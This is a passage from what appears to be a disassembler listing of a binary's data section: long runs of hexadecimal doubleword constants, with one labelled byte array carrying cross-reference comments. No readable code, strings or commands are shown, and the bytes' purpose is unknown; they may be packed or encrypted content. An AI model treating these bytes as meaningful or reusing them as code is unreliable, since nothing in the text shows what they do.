0E448D426h, 33DE6024h, 7238CFAAh dd 4AD68056h, 36C64915h, 24BAE8F5h, 95D3CF4h, 4200DF43h dd 31F81192h, 8405633Eh, 7E41F485h, 9B8214C7h, 0A41F04CCh dd 79004BECh, 3315D13Bh, 0F4D9650Bh, 429700F1h, 8BEB1C8Dh dd 0BE3EB2CEh, 0A398082h, 0CA81C345h, 0FE0E034Ah, 0F63E44BFh dd 0B333C7C8h, 0AF085900h, 0EE2EA412h, 807C01h, 2B530222h dd 196D576Ah, 11033400h, 9829B227h, 388D00C6h, 0A178A875h dd 4500F31Ch, 0BF91FE86h, 25DAD9h, 4CF2693Dh, 0AFF6CC7Eh dd 2A03AC7Eh, 0B9AAD880h, 14D00015h, 4E02D5BAh, 5C1676C6h dd 40CAEEh, 46FDC986h, 6FD10024h, 0A1915ECBh, 65001768h dd 7B532316h, 8EF33Fh, 2426AC88h, 0FF138A0Fh, 1AD7500h dd 0B60A27EDh, 0D3F0770h, 0A25F992Ch, 0D096E9B5h, 38776100h dd 1ECD4FC0h, 4C0C2C98h, 0A3B40E65h, 81BBE2C7h, 0F705A940h dd 594E7AD8h, 16B55C00h, 48175FD6h, 49C100CDh, 0E9DBC2AEh dd 8FEA6536h, 0E07A1628h, 403F3C4Ch, 0B81C2EE0h, 0BDCBCD44h dd 0A60002Ch, 0D815E7h, 0C6C33745h, 1F97D9D0h, 0B562700h dd 28AC59CAh, 0E0EF0774h, 0A36EEC48h, 43F2EED8h, 291550C0h dd 9EF84F90h, 0DC711400h, 2E3092AEh, 3591076Dh, 0C08AD174h dd 13860C44h, 0A558E0A0h, 9600B4F6h, 5EF4B7ACh, 1C45D74Ah dd 406DDA8Ah, 2103CF6Bh, 0CCF918D6h, 0B50037AFh, 19AD295Bh dd 20BC47h, 6993AB2Ch, 0D49A1EFEh, 9D16A570h, 0CCC00402h dd 255C3Eh, 84F42622h, 0BD902845h, 0AF676101h, 420E1B31h dd 3C752F4h, 9A1823FCh, 7EC1FBF7h, 65FD603Bh, 0BF4C9C00h dd 0F46C81F0h, 41592EAFh, 7962C78h, 106BE9B8h, 22EBE717h dd 0E3FBF20Eh, 40520098h, 359603h, 2908C15h, 0F2C97AC8h dd 6EC550Ah, 0F38B446h, 60545770h, 60672BA6h, 16B60032h dd 3D893B18h, 7AE0FDBBh, 433FF300h, 0EB9EE9D7h, 12230135h dd 0EA4C97B4h, 0F40220E7h, 0BB955500h, 0C0A1F8Bh, 92A60015h dd 0E9CA2AFAh, 1D004482h, 0E27768E8h, 286BB996h, 39A1441h dd 0B420F59Dh, 16D88A6Eh, 80025F8h, 0DD97D21Dh, 0D49857h dd 9B1CEE76h, 78A970B8h, 0DAB38213h, 9660C400h, 0D55730h dd 922EADFDh, 59016DF5h, 0D600449Eh, 9FDEA01Bh, 9B177D7h dd 0C2E18EA2h, 0F0F9BC27h, 0A3B9DD12h, 36F6B000h, 0C597547Eh dd 19D701A5h, 3A64793Eh, 4A55F0D8h, 0EF93282Eh, 0B39EFA00h dd 0CD4DABh, 210BB6C6h, 3C40510Eh, 0E752161Ch, 0D4B361F0h dd 47C709Bh, 36872679h, 81998477h, 9FD71764h, 210AB10h dd 6804E73Ch, 0C3040F11h, 0D0C0F197h, 79FCD8ABh, 2CA62828h dd 0D95C7B98h, 8EFC0758h, 94B64F85h, 34FD0629h, 2098F012h dd 0E59BED12h, 0F189BC58h, 0FCE771DAh, 74611433h, 6000106Ch dd 5E89D857h, 0BA00C320h, 5D47A2A8h, 0FC7FDCh, 0F05958B3h dd 5046BFF3h, 33D3E300h, 9ED65D30h, 9FA902B4h, 8A1783ABh dd 3E85FFE0h, 76006CEAh, 53BCCE9Dh, 2EF211h, 0C658597Fh dd 75B4FF8Fh, 1864E900h, 3BC79BBAh, 5B6238A7h, 0B2C4C100h dd 0E9103284h, 400B2DE0h, 0CAB3B6h, 94BA37F8h, 13FF0FB5h dd 77602B9Ch, 0D26CC6A9h, 50FCA800h, 0A7ECEF25h, 22290073h dd 0E26AC784h, 0FF00F48Eh, 0D9B7C809h, 51A443Fh, 792BD4DBh dd 0B834F2ADh, 10E30B7h, 5F653210h, 0CE9F7007h, 2501916h dd 3FD956B0h, 27004396h, 0A09F8CDh, 0DFF857A0h, 0FC3EECF8h dd 7CE21E0Fh, 2CF7E9CAh, 1346F31Eh, 1150772Fh, 387106Eh dd 170CFFBh, 612805F6h, 420A57h, 24C74BD0h, 0F576F91Eh dd 6E378300h, 0B072E489h, 4FB418AFh, 0B2E56196h, 0CC3C60A0h dd 1B42D080h, 18F7EC93h, 37B1E3B7h, 0F5F8AED0h, 0C9E4E614h dd 2AAC8470h, 1594D707h, 0BC0C802Fh, 0CE63A718h, 0FFA340E8h dd 0BB8DD910h, 16DB011Dh, 0CFE2056Eh, 0C17EF759h, 0F02DB915h dd 0B81D804Ch, 3DDBEFD9h, 1B9815D3h, 552EA9CEh, 949A9329h dd 0C7B17600h, 88DB32h, 75017F5h, 1AD3DF1Fh, 0A8594160h dd 9CDEAFh, 2A7FA954h, 0A7B14758h, 417CC000h, 0BA32FA4Dh dd 801A60F6h, 0EDEE2CA4h, 41EB9A34h, 980342C1h, 2D388D0h dd 2962C0A4h, 84E15A82h, 440AFCD1h, 0F569AE0Eh, 1CB4B6h dd 0FBD2FF1h, 801EFC3Ch, 25097A81h, 83731618h, 12632D16h dd 403292D9h, 0E870052Ch, 2604937Eh, 11C4BD95h, 0EAC87E80h dd 85690A10h, 80809EF6h, 3E3091D1h, 0F2798F70h, 351CF707h dd 4FD0FCA2h, 0BB39CD8h, 951DE24Dh, 79CCCE00h, 0D31F4E2Dh dd 0F00097C4h, 0B1F10CDAh, 817C6066h, 8B62A5A4h, 32108E00h dd 96C99BB8h, 911B50FCh, 0E8154E07h, 0D2C500BCh, 685BDA38h dd 0C9C00081h, 0F6AA866Eh, 0A97530D1h, 31C4840Eh, 0EA648185h dd 0B9DC68E9h, 0D5B7019Fh, 76E3E0AFh, 0DEF3F453h, 0C122C900h dd 0C2274C04h, 93D662Bh, 0E900216Eh, 0DAA4C037h, 3994892h dd 0F2201FFAh, 0DED08911h, 0F403256Fh, 0F3CA5CBFh, 72A6A8ADh dd 18536129h, 0F0E0AB7Ah, 343EBD0Ch, 0E5787F85h, 0C61CBE00h dd 4AAA858h, 92501D87h, 0BCC50C0Bh, 701DAD20h, 0E98FA5D0h dd 4DF7C029h, 6906873h, 288B407Eh, 0DE3A2899h, 25B503A9h dd 9859A5D2h, 1303C08h, 0F3E7BFB9h, 1010D501h, 19E5805h dd 0F798404h, 98A26159h dd 20210E08h, 0C89F03FFh, 52E1728Bh, 0E8D3C000h, 0BFBA4501h dd 71F76068h, 0A22E406Bh, 74512C06h, 0E06AF0h, 0D8BEA33Eh dd 6657F427h, 0FB26E3Ah, 9CB51E8Dh, 989F6080h, 0E879385h dd 0C1F13C15h, 0B75E48C0h, 45009BC3h, 0B6BE8939h, 0FEC9CAFh dd 0A2A6956Ah, 0BC3350C3h, 7DB55FA8h, 9C8EB300h, 179B4253h dd 0B47DADh, 6ED4FB3Ch, 69688AAEh, 484BDE00h, 0D270541Eh dd 0A1050CBFh, 82A6557Ah, 391EDCEEh, 0F1806530h, 1B0AAC5Ch dd 1F4B3B11h, 0EE570C83h, 35FF29A6h, 21E618A7h, 5C030238h dd 504F289Dh, 21FDD0F2h, 0F1A53826h, 6878DB01h, 83ABF603h dd 3B12B130h, 0F196DBA6h, 0C5C9AC06h, 0C0AAA7D0h, 24DD7320h dd 270C3C05h, 38334C85h, 32BB00CAh, 55E63ED0h, 0F2F8CFEEh dd 6586920Ch, 70568ACh, 911C7A21h, 52F9F0E3h, 0DD07DF35h dd 6E33B830h, 1C7B0690h, 0F650C011h, 0DA1DC152h, 4140301Fh dd 0A320FF58h, 0C25F1FEDh, 158100C6h, 7F631EA7h, 0A471B718h dd 0EEF668h, 7973AA69h, 56321AF0h, 10A1C530h, 1E885C53h dd 877AEDB6h, 60B14539h, 5551E13Fh, 1300D77Dh, 56229990h dd 1DB37CDDh, 0B75D70h, 294CE4ADh, 0C800853Ch, 0AA742271h dd 9C255ABh, 0A070B75Bh, 0E50D1380h, 29DC6DE8h, 92012591h dd 70B0F63Eh, 20D8087Ch, 39503FDEh, 6B648428h, 19259829h dd 414D519Ch, 1139CD14h, 0E811E1F4h, 415191D7h, 0B7F5F202h dd 0DC80DB4Dh, 3C7F27B4h, 0F15E600h, 56C596C6h, 0D7A2001Dh dd 0CFEFC3C4h, 0D97920F3h, 769DDE00h, 2BB3E4E3h, 812A00D4h dd 38610AE1h, 4200F122h, 82F69C25h, 7F8D3E7h, 5D05B94Bh dd 0F123D050h, 8D00C2A4h, 0EF3C43F0h, 1726FDh, 35D294F4h dd 78967140h, 0CBF08504h, 1B80C18Ah, 770FE4BBh, 0A0320086h dd 0A9B50E0Ah, 0DB0098B6h, 0CEBC4A3Dh, 1ED8A5h, 65731440h dd 0F8B02541h, 0AC03EEE4h, 4AE37CDCh, 0AA0A88A8h, 0C8500A0h dd 0F5C8D9A6h, 0CB5C063Ah, 0D1F000CEh, 0E7AC90F6h, 0CF0D004Eh dd 4F71FE57h, 0D6007CFCh, 6CBC2AC0h, 32C45Dh, 0FDA2C269h dd 387D323h, 4E11D101h, 891A93DDh, 492BF4h, 0D9E899FBh dd 1E2A3D02h, 91BCA600h, 0FE14B366h, 0C78A30F8h, 3C224BA1h dd 715A8301h, 587FB75Fh, 0D497DCh, 0E063DE87h, 25BFAE14h dd 8E71433Ch, 60120E07h, 9F054982h, 1E90085h, 95D2EB80h dd 29C02755h, 6E511875h, 94AE164Ch, 799905C2h, 49303B6h dd 82A8FC71h, 5500ECDEh, 4D176383h, 0D5AFF5h, 9E5444B9h dd 0F71287D2h, 0EB5EBE03h, 98A36689h, 0EAC6D6D8h, 61A40732h dd 0E064B3E9h, 0BBFEAF6Eh, 0DBABEA01h, 0D293F699h, 0B87FB040h dd 1C3B3982h, 7BDEA800h, 63E95B23h, 43D20D07h, 92E7DA29h dd 0E594A661h, 0FD203880h, 0B8EFA7AFh, 36C69000h, 5EF5D841h dd 7AE003h, 1DB34F81h, 22BA139Bh, 0A88DE500h, 7079973Fh dd 0CAE900C9h, 0D6F76BA5h, 0A35C7D54h, 0F325057Fh, 0BB001C19h dd 136EEF99h, 0E5300086h, 42BFEC91h, 5C90EE02h, 0FC4E380Eh dd 0D2F603Dh, 0F5459h, 0DF24EF89h, 997FBE3Fh, 6F00F87Ah dd 4EB286B7h, 0B8991h, 470935F3h, 4B723B43h, 0B3D4071Fh dd 48698B41h, 1E207A86h, 0D01C0038h, 0DD9CFD58h, 0E5000605h dd 85FE8372h, 2053EBh, 0F47F0C65h, 70F12C9Bh, 71E10400h dd 95561182h, 0C8DE01A1h, 32BC5B51h, 0E8802007h, 25B12A06h dd 7100487h, 4B3E2E42h, 880139F6h, 3059F456h, 23F5A760h dd 8F370038h, 0EFCF4AE2h, 82E50710h, 0F3959D3Ah, 93D86368h dd 0B400E7E3h, 9F847D3Fh, 7B38DB9h, 90890862h, 0C831005h dd 91EE3FCFh, 7ABA7D00h, 0AB57BF8Bh, 0B99300D8h, 295DC981h dd 4F01E8D7h, 8E205F1Bh, 9EE844B7h, 62FE1C86h, 260180CFh dd 15C2BB52h, 0C5F04F12h, 0DB483400h, 3BB5996Bh, 8A00D8E7h dd 74BB9506h, 71004A6Dh, 0E4C898B7h, 64B999h, 0E8A22BD0h dd 0D55A937Dh, 0BFE62200h, 0B05ECEDAh, 4D1E3B6Fh, 63E02B80h dd 0D5024926h, 0DCADB700h, 9F67A66Ah, 0AAE23CF4h, 2E2B5880h dd 9EB988C2h, 8F9B726h, 7240A0Bh, 1C32EC61h, 4FD04083h dd 93350021h, 10BFA37Ch, 0FD00B72Ah, 40CDB049h, 0B9605Dh dd 0F55F6A9h, 171B97BAh, 81FBFC00h, 7E3FF54Bh, 0EFF900B5h dd 9DC57F5Ch, 860077AFh, 0A84C8E95h, 88D38Ah, 754FD709h dd 2B1A6556h, 8092075h, 80182861h, 0C869BC6Dh, 0DB60081h dd 443B5527h, 1600B85Eh, 96BF5BB1h, 32BC2FEh, 2167F2FBh dd 1902732h, 0F6139F08h, 63008CA7h, 51BCF76Ah, 3A2600E9h dd 73282272h, 2A00BDA0h, 44C25790h, 0EAB38AEDh, 0F7B889h dd 0E33F4D7Eh, 0E5085DDCh, 4464C007h, 750F7A0h, 0CBF585Eh dd 41F14324h, 9B719242h, 37CCD400h, 6E11DBB3h, 0AAEF3CD1h dd 95C97h, 92F9D27Ah, 6B00419Ah, 0D520E695h, 90710BDFh dd 1300FBBh, 1167E210h, 9EDB7058h, 9A7F415Dh, 2CAB9100h dd 0CBEF4363h, 3B8E00DCh, 0BFE997DEh, 8000D6F3h, 0C05492ADh dd 412EA2h, 25AE95A0h, 0DFC55F97h, 4CB08E00h, 68C0CA3Ah dd 0E6C7260h, 0BB9EEE3Bh, 0F735D6C0h, 5400E01Dh, 0B6B85BDFh dd 0C44424h, 0A8B953A9h, 0F593C98Ch, 14E3412Eh, 1ECA1B00h dd 3235B61h, 0C8300413h, 0A2829DC0h, 0F048FC40h, 0DC53DB00h dd 71582BA8h, 59540438h, 0C336D06Eh, 0ABE2EFC0h, 516D48C0h dd 0DE7D9A00h, 3ECB14FAh, 9C750081h, 0E783A929h, 0EE1DCE44h dd 817C6D76h, 3FFFD7C5h, 0DCFC1B15h, 1EF33FACh, 9C85A6h dd 8087A141h, 24001F36h, 53FAC9D9h, 25E7E4h, 0B8E3E9D1h dd 2AFDF8Eh, 0D8A481Ch, 0E08BF540h, 7162761Dh, 0ABD9002Ch dd 80793F01h, 0FFEA51A2h, 4CC44B0Bh, 0F36813E8h, 43F58088h dd 9F870269h, 49AA2C39h, 54488A87h, 0D01EAF90h, 1462C000h dd 395B4h, 89B87242h, 0F22F8C51h, 0F0BC5E00h, 6014C973h dd 684C00CDh, 0E2E93CBFh, 8F755713h, 0B1235E1Fh, 78053200h dd 3A2DD9EDh, 72001C6Ch, 577E1B92h, 0DFEE9493h, 7242348h dd 0CDCB315Fh, 0E02BA032h, 890C67h, 0E0FED1Dh, 8B897E3h dd 0EBAE5700h, 0A4FD33D5h, 2B2A06Ah, 4718019Ch, 0C71ADB3h dd 13D23079h, 8CC70E1Fh, 520FE052h, 55B3C0A9h, 62B914h dd 29D24E48h, 2795E325h, 0E16738h, 0C697B5F4h, 3AA1E6Eh dd 1D85A157h, 0C9C0F1FDh, 781EACFEh, 7EC56B69h, 84C0A64Ah dd 0F5D89DEh, 7B1DBA55h, 0F8797039h, 2600C72Ah, 4CDF98B2h dd 0EF49D37h, 0C65165E9h, 0F12D21C0h, 0F7005D27h, 0C85CACC9h dd 37CB6B9h, 0A37E4A44h, 65F8245Eh, 2809D898h, 12A23ADh dd 0A58D173Ch, 7E5E0800h, 61183603h, 0E3AA450Ah, 55A780C2h dd 0F1240001h, 77FC28BCh, 5239519Fh, 41C80037h, 167B20B2h dd 230D30A8h, 8EA70A11h, 38301400h, 25E086FEh, 0EC6A59B7h dd 0E81F3102h, 72607AB1h, 204E58Ah, 0F2FC94DEh, 2D2E4C80h dd 0EBF50071h, 0FB4C8781h, 1F0077A3h, 372621D8h, 109421Ch dd 841717Ch, 24B15332h, 1A009450h, 17746A58h, 0FCA53655h dd 2AD91FABh, 0B339C18Fh, 0D8B99D18h, 14042054h, 296A81E0h dd 53E8E4C0h, 8DEF01B2h, 0FB2A7061h, 47188025h, 654A6C6Dh dd 7D55001Eh, 4915640Fh, 42003D3Ch, 0D736B0C6h, 0F9174D1h dd 5BB70723h, 533CC340h, 645CB129h, 11A40038h, 0E21A0559h dd 41850033h, 92FBFA89h, 0F5000E6Fh, 6D8B8F61h, 244EAF73h dd 80141418h, 0E83FFEFBh dd 0F8001CD8h, 0B07DA426h, 1E12359h, 0A512142Eh, 30BB6893h dd 1B7D513Bh, 0C4FECD00h, 0D3F9FF67h, 506A0945h, 0DC00992Bh dd 0ACAF2EDEh, 0D6ABE800h, 9F231728h, 78AA480Eh, 43648D2Ch dd 0BEE0689Ah, 4800186Dh, 3787E92h, 78DE654h, 0FDB1EDBBh dd 53C5E323h, 5A6EA7F0h, 5D393209h, 460500F6h, 1FD4F8BAh dd 403FF299h, 2596DC18h, 4200E8BBh, 0E907BF70h, 0D078FCh dd 0A115B7B6h, 25897BCh, 0EAAA800h, 0DE822839h, 7D9C0014h dd 0CF67E3F2h, 52011D36h, 6FB65ED6h, 1F2117E4h, 381C31C8h dd 59D84766h, 6D20900h, 2D80C6D7h, 9D512C00h, 931E2A59h dd 0ECF4396Dh, 0DF1045B0h, 0E2128836h, 7601785Dh, 98312392h dd 0AD5420h, 8647B735h, 0ED89DF46h, 0C0029FAh, 92C425D8h dd 5C9554E5h, 0B4003523h, 444AD03Dh, 0C10089F0h, 3E2F6F24h dd 1DBFEE4h, 0F6879F1Eh, 0F08F1061h, 21079535h, 43C5B248h dd 0FD05C730h, 93540689h, 81AC6023h, 1C2C5Ch, 3D8650FFh dd 0BFF340h, 35C8C515h, 84DEBB4Ah, 70EDBE1Dh, 84B3B40h dd 6FC12Ch, 0B0B83185h, 28658425h, 23E8B07h, 0BC09CB9h dd 7046F433h, 8945025Ch, 944D9B15h, 98188940h, 0A2C06775h dd 0A49C43A9h, 0D70B3B04h, 0F22E3Bh, 0DD037764h, 5606DE7Ch dd 78876100h, 3DFEF5DCh, 0AECF00F2h, 9466090Bh, 5D001B5Fh dd 657C01Dh, 671802h, 4C0758C8h, 234A228Ah, 8578E53Dh dd 2189D59Ch, 7E1D00FFh, 950C157Bh, 0A03ED800h, 25416764h dd 2C3300C8h, 66911EFEh, 0F02E89Fh, 0B715CF30h, 0E094929Ch dd 0E49351F8h, 0EBBC03DBh, 59BB6FD2h, 0F42F18F8h, 56132490h dd 7C0719C4h, 4EC0A863h, 89B78Bh, 90236801h, 76D957EEh dd 9B1B4D00h, 9CD85CF5h, 53A00037h, 0C5582326h, 0A5003F8Dh dd 1B9181FCh, 0D0B64Ah, 1CD1932Dh, 0DEBE3846h, 26F6714h dd 0EF0E7998h, 0C00BF9DBh, 0E37BB01Bh, 0AF820025h, 0BC84A2B4h dd 750B1783h, 8C4FB136h, 1F8F72C4h, 802B2F67h, 5DB932AAh dd 1C058E87h, 706D156Eh, 3DE69807h, 0E0605C87h, 287E103h dd 0AD761A86h, 80808E81h, 657D976Ah, 5E0454BAh, 128D9CAFh dd 1E8F9888h, 401B3215h, 0A3441A79h, 200050DEh, 5366E72Bh dd 1D93C02Ch, 809542CEh, 0D0E8E03Dh, 50066465h, 0A4D98915h dd 196A0336h, 0FD5D259Dh, 0F86348E9h, 0B776B53Fh, 427FC61Fh dd 92F67A40h, 1EA066Ah, 4C447BD3h, 205AB50Dh, 5D7277C8h dd 0C2F0DC02h, 407DB10Ah, 0B7984h, 80B60125h, 8406966Dh dd 1981F58h, 32C25076h, 0B420F712h, 315A0039h, 0B04226E0h dd 634FFDF8h, 0A1B4EC00h, 1A8AF47h, 1C844667h, 929B623Eh dd 3601D8A8h, 58EF437Fh, 71D860h, 2B0100Dh, 36E0CFDFh dd 25D6FF00h, 0F242651Dh, 6D0000Ah, 18A4C512h, 470216Ah dd 0A5002EF4h, 938D0DCFh, 22C236h, 3BE76173h, 921DB7B2h dd 3AF1E117h, 3994EC00h, 0E02591ABh, 0A7400747h, 903D9530h dd 46C2D974h, 9C90AE7Ah, 0BF458001h, 22DC171Fh, 1FB3CFCCh dd 40114B42h, 69D07BBCh, 870062A9h, 492A1250h, 906EC8h dd 786586EFh, 0AEFF63E0h, 0BEAD3E1Ch, 33B2DC80h, 7EDAF040h dd 0E117001Bh, 0D0C2E9EDh, 1F00E724h, 2BD77574h, 8F9BDBh dd 0FFB43D57h, 32618C62h, 17007BF4h, 4778E79Ah, 2C903A4Fh dd 98D55Ah, 0EE30ABF8h, 8E003D55h, 0A54396B4h, 17FF085h dd 90878F1Ch, 0D8D945B0h, 0B12CC0D4h, 0BB40D811h, 2052B8h dd 0ADE3E4D2h, 8278C130h, 0C29C5Ch, 0C41A71E6h, 0A70698h dd 0C5646223h, 42CF8367h, 4C974Dh, 867889B3h, 5C6C02h dd 7DE2CC3Fh, 9A4198C2h, 0B155DC26h, 0A5CA7500h, 0F81BC7h db 8Ch byte_520045 db 58h, 8Dh, 0D4h ; DATA XREF: ___:00437A58o ; ___:00437A70o dd 5154D242h, 0B5E6DF98h, 3800FAE8h, 8CCF630Eh, 5887846Eh dd 20014F6Dh, 3A4D9F08h, 6A913014h, 7F221D3Ch, 681AA304h dd 0A0801BAEh, 0F728CFh, 0BF125CDh, 6535E170h, 42DC270Eh dd 0A2BBE78Dh, 23B356B0h, 0E5154C3Bh, 0CF169500h, 0EF872786h dd 0F1AE961Ch, 0EB4AC080h, 0E48B08Ah, 38411F99h, 0D89D0980h dd 0DC1424F5h, 4A800687h, 0D584003Bh, 4E3A20F8h, 6EE012h dd 0F4FCE2CEh, 557579DCh, 67621B00h, 46D22C9Dh, 0EA3B04E9h dd 87745673h, 2975C2C8h, 306BA0E1h, 32FFA61Ch, 0F2D081DCh dd 1120956Dh, 0C2E600A3h, 750214BDh, 0A5F4D876h, 3422D724h dd 0CF9EDB18h, 4A7A0062h, 199F55DDh, 0E1008609h, 22F27CFEh dd 723829E3h, 0B5DD01FFh, 7B2BBA98h, 8C76C0D6h, 0BBEA1400h dd 0E3C5374Dh, 64290026h, 0CC90B21Fh, 6C00FD57h, 0A4FA43C0h dd 0A1B10Eh, 0D906D699h, 0CE5987Fh, 57BEEC04h, 4580F6DFh dd 86FEDh, 6E7940DCh, 0CCEECE9Dh, 71EC53Eh, 0B181DE46h dd 3720EBE7h, 10814BAh, 0F87744F1h, 24FEE690h, 1D01A4CCh dd 9E723ECFh, 81F0D837h, 0E6CC1CA6h, 0E78741DAh, 216ACD5Ch dd 0BED8F4A8h, 27E36600h, 0EA9046DFh, 0CBB00EFh, 0FE2ADC0Eh dd 0E000FBACh, 0D8CFCDCAh, 0F167ADh, 1E66B827h, 9A7283C8h dd 8A103E17h, 6FDD3840h, 3B7820Fh, 0ACE51A1h, 7D53E54h dd 0ACC8DB10h, 88037CA8h, 36CB834Dh, 5457A072h, 0F0E37CFCh dd 2F22F8D2h, 94002877h, 3ECB68B2h, 49811A30h, 69A163h dd 9938782h, 18C161D7h, 0EC59E900h, 0F19B9991h, 4BB21CB6h dd 62C00D3h, 7487E25Ch, 1207B700h, 4F31F328h, 1AE81FDEh dd 0A1DB82Eh, 0E190077h, 0B0CA86B7h, 2983D905h, 601EC23Dh dd 2B6BC340h, 0A01DCh, 0C4D5C070h, 0DE93800Dh, 61007EE4h dd 2913C509h, 8B229Bh, 9C56B0E5h, 4085D3AAh, 0F7FC2B00h dd 57A67CDAh, 1ED472AFh, 0C0067652h, 0A490BBCBh, 0AD00E4EFh dd 55322AE6h, 6083F1h, 869958C7h, 0D7B9D933h, 2AE5E701h dd 1CBF6C97h, 0A08040D5h, 6C876ECh, 9013559h, 87131D8Eh dd 54F4E1E2h, 0A1430071h, 72DFD360h, 207016Fh, 297074A0h dd 2467DBA1h, 388DBCE0h, 3E00A339h, 77EF89E9h, 0A900AED5h dd 0A1DC881h, 0E0A658D2h, 0F2CB0EACh, 2D23A0FCh, 0BEE86ABCh dd 30015765h, 0DA77B36Fh, 0DEC4EA21h, 25E600B8h, 5C7BBD8Fh dd 0F976ACDFh, 1B0E1C00h, 9816C76Fh, 6CA0013h, 739955E7h dd 0D800D7FDh, 0C077837Dh, 8BE658h, 96F46F8Dh, 1A0766E4h dd 0D45DCF00h, 0C7235BB9h, 0A380000Eh, 4B33A702h, 0A407B417h dd 0D8792C6Fh, 923E52C0h, 0D22F0708h, 0F015194Eh, 78B1BFFAh dd 80EF143Ah, 0D0025805h, 14CD99F5h, 99636A3Ch, 45FE1C12h dd 0F4D8E4B0h, 7D20DAE8h, 81CC2890h, 397007F4h, 710A6A9Bh dd 883ACFD9h, 8866DE28h, 0D5848F05h, 0E9086928h, 297D0C49h dd 91924435h, 0DD519A62h, 228624D8h, 4D3C859Dh, 88B5140Eh dd 9DEA103Bh, 0A9219391h, 51C4323Ah, 0C23C822Eh, 9C052275h dd 2811AD23h, 10143251h, 21F662DFh, 0B2150801h, 99005691h dd 77E9AD48h, 5F00CB1Fh, 2D988B54h, 1E18Fh, 0FB596B84h dd 0BD528DFDh, 0A6FF8C00h, 0CDB0D2F6h, 3817009Ah, 63CD303h dd 15006169h, 7D08D134h, 97A9BBh, 0CBA1734Ch, 13E7CA49h dd 8B804E00h, 0BC07D8EBh, 0A29F0F7Ch, 0BF60649Ah, 0B8461F90h dd 78F9EA01h, 38F345E9h, 21973D4h, 12E22DC2h, 4C60BFD5h dd 2203E686h, 946A14ECh, 69481276h, 875A0105h, 0FC51FCF8h dd 8F24E34Dh, 0E200A429h, 0A811361Dh, 1F7677ACh, 96842D64h dd 977401A4h, 0EC8796B2h, 20C0AF99h, 80C00140h, 10AA6021h dd 5ACB93F4h, 8007193Dh, 9260F0DDh, 5EE746h, 0CE4A1590h dd 9D9CEB41h, 7813F170h, 4840533Fh, 0D7D13D5Fh, 4BBA00F7h dd 7BCBE9D6h, 42007C0Ah, 0FC3F21B9h, 70A35BB1h, 0D1EA006Fh dd 4C36F6E3h, 90EEC6F0h, 865939h, 60ACCF57h, 56AA5D6h dd 75F0418Eh, 5078C0BBh, 0D900BC9Ch, 0AAFACEE4h, 704A5C85h dd 0FBD7056Bh, 80EFB639h, 28E8BE38h, 8C9B6800h, 0A9C7E59Fh dd 870607F8h, 10A21547h, 0E24DF7CCh, 0CABF8200h, 8CAF5666h dd 0FDE70042h, 6EE34C5h, 0A500ED99h, 44CC6C19h, 2169BA2h dd 65098B14h, 74602F67h, 1800012Ah, 0C68134FEh, 26E1DEh dd 0C1525A53h, 0BD164933h, 9B8D0901h, 9A1CCF04h, 68717D8h dd 3DF1ACE4h, 7E0016BFh, 0F6671591h, 0FD1F3EFh, 59204D8Fh dd 8E122340h, 0E500E9BFh, 7E504E6Dh, 72BDFF2h, 7355A44Fh dd 858AF0C7h, 303F6FAh, 258BDCC9h, 0B8F5D84Ah, 8C273C84h dd 50FB6480h, 0E70723AFh, 0BC35E400h, 7C9098CEh, 790FF64Eh dd 25138DEh, 3DB1ACh, 6C4534CBh, 890056EFh, 0BD5A05CFh dd 0F82FFA48h, 0EA8B0053h, 0C1F7C6ADh, 0A2009C1Bh, 28C03384h dd 78CCF657h, 0BA7D0099h, 0DAFEAC32h, 0BD1E1C71h, 37DC7EA0h dd 6C162A00h, 8CB2ABh, 0D69D6F5Dh, 3A2F9883h, 0D2D52300h dd 0D954C611h, 7C570046h, 0A8724F75h, 9A009862h, 1B449ECAh dd 0B71E13h, 0E2EAC608h, 0A35F201Fh, 5C489F00h, 635A6BD2h dd 0A7900386h, 5DFACD8Dh, 2ABE1007h, 0CA102138h, 39657A05h dd 7009AFh, 0AC849FC9h, 0AAD3B315h, 12C2A116h, 58D62800h dd 10CA07Dh, 0E7015786h, 20839F8Fh, 0A700224Bh, 5F06B8FDh dd 2415BAh, 0FBC4049Dh, 0F9B3E62Eh, 0A8AB4F01h, 50FA74E0h dd 0E57D40D6h, 12A4001Fh, 823F3D4Bh, 8500F12Ah, 0C6DE8E37h dd 0FD799Ch, 1A8BD39Bh, 2245B1ADh, 24003A79h, 7B7ABBDCh dd 51AE16FEh, 51DCC2F0h, 1A92E86h, 3E1000B2h, 1C8BB75Eh dd 67BD0701h, 8072585Ah, 0C9A4D8h, 0BE46BB96h, 6814D0A5h dd 7B0AC40Ah, 5A1FFC13h, 0FC0FE49h, 9A180077h, 6E3443h dd 0E651B059h, 385433D0h, 52A70400h, 5F6125F8h, 0C76A1E3Ah dd 0D068C8h, 7B9B47BFh, 9168CFBDh, 60D96F05h, 3D80AE1Ah dd 5FD529h, 4AA551AFh, 0C9CF6454h, 56CED60Fh, 0D536408Bh dd 0F57BF3CBh, 137F30h, 7CA12E04h, 0B32B6977h, 0B4A5D800h dd 0B594A7FDh, 63650E1Ch, 0C74BE825h, 0CF2F0680h, 0A85C35F4h dd 138D3939h, 0AC0FB2B3h, 813F6080h, 0ECB8E7Dh, 476EC550h dd 54046F41h, 466CC805h, 4B42671Ch, 317948C0h, 12EDC572h dd 0A76D13h, 97658EC2h, 0BE00DB1Fh, 1EE6546Fh, 1F1229CCh dd 4091ABEBh, 2B430CA6h, 0FD00CB0Fh, 0A508A9FEh, 71C60E9Dh dd 0A19300F6h, 81166DDCh, 0B700DA3Ah, 6319CB13h, 1A58AC3h dd 25103B18h, 0D0FFCA96h, 0B4248746h, 0F600F8BCh, 77481494h dd 0F36305BAh, 0C4C590C4h, 736BC04Dh, 7600DCD9h, 31814A72h dd 165C2Dh, 1CEEA057h, 125E69AEh, 0A106CB00h, 7B19F532h dd 626B0045h, 0DAA2E69Dh, 49007352h, 0FBC0FA07h, 4E1C04h dd 0FD014AA4h, 30D50537h, 0F80071ECh, 0BCFB658Ch, 0B1069h dd 0C12254FAh, 0C7841532h, 0E91CE500h, 57CF56Fh, 0FC964FAEh dd 80423B71h, 73138F5Eh, 0E0F477h, 47EF9F69h, 0F010961Ah dd 5263D700h, 146D018Eh, 9B810F4Fh, 372020C3h, 0AF2875C1h dd 52342762h, 2AA8402Fh, 41D70074h, 0D42C171Fh, 531E1DD2h dd 0E7000305h, 54C80C50h, 580FE8Eh, 0EAACB7F2h, 3298C36Eh dd 4B7762C0h, 71B49100h, 0E6599851h, 0E4AE1DC9h, 2B2D406Dh dd 0B52ECE24h, 6145E700h, 60922870h, 0ADD00367h, 8A0BB28Eh dd 0F88E34C2h, 8D1B1460h dd 0AC004B19h, 